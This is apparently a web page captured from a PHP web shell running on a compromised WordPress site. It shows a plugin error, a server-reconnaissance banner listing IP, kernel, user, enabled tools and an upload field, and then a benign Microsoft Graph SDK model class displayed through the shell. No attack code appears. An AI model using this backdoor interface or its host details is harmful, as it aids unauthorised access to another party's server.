Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/thread-self/cwd/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* DeviceConfigurationState File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* DeviceConfigurationState class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class DeviceConfigurationState extends Entity
{
/**
* Gets the displayName
* The name of the policy for this policyBase
*
* @return string|null The displayName
*/
public function getDisplayName()
{
if (array_key_exists("displayName", $this->_propDict)) {
return $this->_propDict["displayName"];
} else {
return null;
}
}
/**
* Sets the displayName
* The name of the policy for this policyBase
*
* @param string $val The displayName
*
* @return DeviceConfigurationState
*/
public function setDisplayName($val)
{
$this->_propDict["displayName"] = $val;
return $this;
}
/**
* Gets the platformType
* Platform type that the policy applies to
*
* @return PolicyPlatformType|null The platformType
*/
public function getPlatformType()
{
if (array_key_exists("platformType", $this->_propDict)) {
if (is_a($this->_propDict["platformType"], "\Microsoft\Graph\Model\PolicyPlatformType") || is_null($this->_propDict["platformType"])) {
return $this->_propDict["platformType"];
} else {
$this->_propDict["platformType"] = new PolicyPlatformType($this->_propDict["platformType"]);
return $this->_propDict["platformType"];
}
}
return null;
}
/**
* Sets the platformType
* Platform type that the policy applies to
*
* @param PolicyPlatformType $val The platformType
*
* @return DeviceConfigurationState
*/
public function setPlatformType($val)
{
$this->_propDict["platformType"] = $val;
return $this;
}
/**
* Gets the settingCount
* Count of how many setting a policy holds
*
* @return int|null The settingCount
*/
public function getSettingCount()
{
if (array_key_exists("settingCount", $this->_propDict)) {
return $this->_propDict["settingCount"];
} else {
return null;
}
}
/**
* Sets the settingCount
* Count of how many setting a policy holds
*
* @param int $val The settingCount
*
* @return DeviceConfigurationState
*/
public function setSettingCount($val)
{
$this->_propDict["settingCount"] = intval($val);
return $this;
}
/**
* Gets the settingStates
*
* @return array|null The settingStates
*/
public function getSettingStates()
{
if (array_key_exists("settingStates", $this->_propDict)) {
return $this->_propDict["settingStates"];
} else {
return null;
}
}
/**
* Sets the settingStates
*
* @param DeviceConfigurationSettingState[] $val The settingStates
*
* @return DeviceConfigurationState
*/
public function setSettingStates($val)
{
$this->_propDict["settingStates"] = $val;
return $this;
}
/**
* Gets the state
* The compliance state of the policy
*
* @return ComplianceStatus|null The state
*/
public function getState()
{
if (array_key_exists("state", $this->_propDict)) {
if (is_a($this->_propDict["state"], "\Microsoft\Graph\Model\ComplianceStatus") || is_null($this->_propDict["state"])) {
return $this->_propDict["state"];
} else {
$this->_propDict["state"] = new ComplianceStatus($this->_propDict["state"]);
return $this->_propDict["state"];
}
}
return null;
}
/**
* Sets the state
* The compliance state of the policy
*
* @param ComplianceStatus $val The state
*
* @return DeviceConfigurationState
*/
public function setState($val)
{
$this->_propDict["state"] = $val;
return $this;
}
/**
* Gets the version
* The version of the policy
*
* @return int|null The version
*/
public function getVersion()
{
if (array_key_exists("version", $this->_propDict)) {
return $this->_propDict["version"];
} else {
return null;
}
}
/**
* Sets the version
* The version of the policy
*
* @param int $val The version
*
* @return DeviceConfigurationState
*/
public function setVersion($val)
{
$this->_propDict["version"] = intval($val);
return $this;
}
}